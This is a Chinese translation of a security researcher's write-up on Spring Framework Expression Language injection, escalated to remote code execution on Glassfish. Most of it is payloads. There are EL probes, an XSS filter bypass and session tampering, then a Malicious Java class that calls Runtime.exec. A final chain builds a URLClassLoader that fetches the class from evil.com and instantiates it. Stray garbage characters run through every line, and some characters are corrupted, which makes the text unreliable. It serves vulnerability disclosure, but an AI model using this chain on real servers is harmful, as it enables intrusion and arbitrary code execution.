Remote Code with, k+ B+ Z3 p8 @# \
Expression Language Injection+ l( ^0 ^ W9 y" h0 w4 O
Spring Framework脆弱性—DanAmodio( \; v; W, n/ V& i, H0 L, t' B p* K
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中0 y* _' @1 z- A) c
可能会存在风险。
6 E; d" s- u; u3 T$ C9 p在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
# k7 n9 @6 m* W3 A! R$ zArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
: d; m3 r8 _1 \% ]8 M) x以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,' z3 |9 Z5 O7 k3 S
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
# g& g/ ^# Y1 f- U/ I: v* _5 N, E- M& k' h版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
3 o: w& d) t7 C由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但1 f5 i( I* q6 p& e& S7 Z& `
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版 m7 u! h @. M; C% H) x0 ~5 O
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。/ |0 }+ V: i. _
这些版本不支持禁用double EL resolution.8 g' I" \ H; `; h$ n
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含; A9 E* [* ] U3 c/ w& ]+ |7 t2 J
EL2.2容器上可能进行远程代码执行。
; r8 a8 Y$ z Y' p这是一个原始信息泄露的攻击例子:
. `6 k" C) p( r/ U" M, H& u- o7 E请求:% P4 V1 w( C F
ttp://vulnerable.com/foo?message=${applicationScope}* Y& L5 f% X/ P2 W
到达以下内容页面:
$ ~( \6 G7 Q- I结果将输出一些包含内部服务器信息calsspath 和本地工作目录
\# i* f$ [9 ~# [& B; E5 b你也可以做一些其他事情,如这样:
( r- l" I! d A6 D' U${9999+1}0 k( N/ ?! z L
还可以访问session 对象和beans' t! j7 j% A2 e
${employee.lastName}
+ L) L( W2 y; c在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是0 i1 Z y" t* G
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东9 Z' t/ A9 l9 d! f. P
西,比如XSS.! e5 m7 K; q) D; z$ m
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
* }2 p+ r) B. j# e突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤4 x; E! v$ b @( k
呢?”
6 A; }7 {: b0 K! s) u9 X. J0 `因此,我尝试巳缦拢�
4 y; P J3 j7 a! J+ l- C* l. whttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP3 O" b8 p% X" ~6 }
P! ?6 y) p j8 x# i) l9 B
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
6 }- o) y$ q p* ?7 b回的文本被插入进了spring:message 标签。2 A$ h& _; g$ A$ ?
这里是一个最终绕过过滤的实例:$ G5 H& ?! i# {
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ5 \8 V# R( |) b
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
) N: H* `8 D v+ d什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?3 s" E P* C: A
经过一番研究,我学习到EL2.2 增加了方法调用。; }- K P9 c: R
我写了一个快速测试应用程序代码并且检测一些功能) M4 z) {1 \4 N1 N; c# B
${pageContext.request.getSession().setAttribute(“account”,”123456″)}4 a. Y& Y2 D+ W! m
${pageContext.request.getSession().setAttribute(“admin”,true)}
' H( T9 Z) S3 D( }2 g好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的% {9 {0 ~& ?6 W+ ?2 J g
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
; c' B2 H1 F: K7 h5 F- {${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
) Q) J: w! z2 V* V“, 1234)}
1 | ~) R5 j$ M1 m$ c- @6 K${“”.getClass().forName(“java.lang.Runtime”)}
; i" [9 T; ~1 s5 O) M) U哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不. B/ e% K% g9 M) {% Z. f
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
7 w5 Q0 G0 y9 d9 J' c% W/ b数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
; b+ M& |0 h2 ~) J+ _ ]' t一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
) X; }9 ?+ D% [4 X m方法签名invoke(Object obj, Object„ args)3 ~8 H% E* D- }) X+ ^) X
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
8 w& u$ p0 L) k3 A h题,以让它可以工作起来。; g2 Y3 X3 _/ H5 I; g- m
漏洞利用:
' Z. c; D- B6 e. I( U我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我! ~: S4 s8 X5 {5 G
希望你们中的一些JAVA奇才告诉我我是如此的可笑。
$ j! a/ i/ w5 f" _" s& q这里有一些我试过的失败的用例,为了试图让它工作的用例:
, P8 J; j3 i0 Q: _# } 写文件到文件系统
; @, w! ]2 J' i4 a: P 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
/ Q) G: b" V9 q, s- G我认为这些可以很好的工作,但是我不能找到合适的类来载入。' q" w5 w5 u# D4 t, d
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
' I: i. K, H A+ u3 ~( [javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
2 a5 L4 z% m5 X3 f$ ]org.springframework.expression.spel.standard.SpelExpressionParser not found
+ u# l: m6 w0 m) G$ ?3 Yby
C) F) T9 j! u8 }& p* worg.glassfish.web.javax.servlet.jsp [194].' L% C! U9 u* n: \3 g1 F6 R2 @, n
利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
1 @9 l2 r; b- p5 w9 l 利用反射来创建一个新的Runtime(and watch the world burn)1 J6 p% B4 X" s4 g. _4 e" t3 z
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName* C/ z( E6 F) ]0 u+ ^
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
1 A B- [, U4 T2 b${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
$ u6 F/ p4 W# C) X+ [# H( g+ x% Q 使用java.lang.ProcessBuilder
8 F8 c) A2 T8 C0 q [5 O 用表达式语言来评估表达式语言
# b& x f: y+ ^5 w' U$ {' eExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
2 D P: W: @; D# C! G${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request$ y4 D4 _- ?2 N+ B
“,”".getClass(),null)}
4 q$ i0 e4 Z" V! |6 Y0 _8 o 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂); _' r: g# g* `/ o) e- ^ _8 |2 ]
我在使用一个空数组通过Method.invoke()时失败了很多次- d6 n$ G( F! ~ u" I& g) u
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
0 D" V' [* d) i7 z$ f- i.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A/ A" d9 m$ H3 b) Y! M" T
rrayList”).newInstance().toArray())2 C, h/ G- ^6 x$ W
java.lang.IllegalArgumentException: wrong number of arguments/ c1 H$ ^0 I& z4 u, |, h
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可 [% \2 N9 m+ n9 G+ G: F
以创建一个恶意class文件并且指向类装载器. r7 ?- m' `. D/ V d# D
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:1 u) u! s' B6 U
public class Malicious {
* m& o5 ]$ i3 l1 R: b/ _6 x/ Apublic Malicious() {
4 q+ a4 E7 r) ?6 l* Y% F' Ctry {
) m7 k# x0 B! ^java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
8 B1 [1 d1 w2 \- Ljava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win* N/ i, x' j4 u
} catch (Exception e) {9 j9 [6 ^( T; [8 I8 Q$ H" B
}
! G5 O7 E% C" h5 B* I Y2 _}
2 d$ d9 U( g$ K- R% L我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
- M2 Q+ S! i. c+ W话中,因此它可以被使用.
6 A" G2 _2 O, ?7 _3 l${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
7 m+ p8 R4 }% s4 L4 H(“java.util.ArrayList”).newInstance())}
8 n* |0 H. z( B3 A/ aURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建/ P4 @7 ]( Q2 r
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和1 l. w3 Q& A& Q0 Y& [2 {3 J5 I
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个; W. B& R- K; G
我们可以调用的create(string)方法,然后转换对一个URL对象。
* o, x) |9 F! I# g9 T${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
/ G9 C. n) W% s6 T6 y% Aere/malicious/classfile/is/located/”).toURL())}/ y' c+ I5 @- C" g/ x
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
% U; n" O3 ~+ I恶意类文件被装载并创建,触发远程代码.
# ~9 V& ^$ u3 H( C. j- g2 y${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
) \- E8 `# @8 ]! Fxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().6 \! ~# G5 d- i; U: Y; l
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance6 ^, w% u2 z/ u3 g) ^
()} |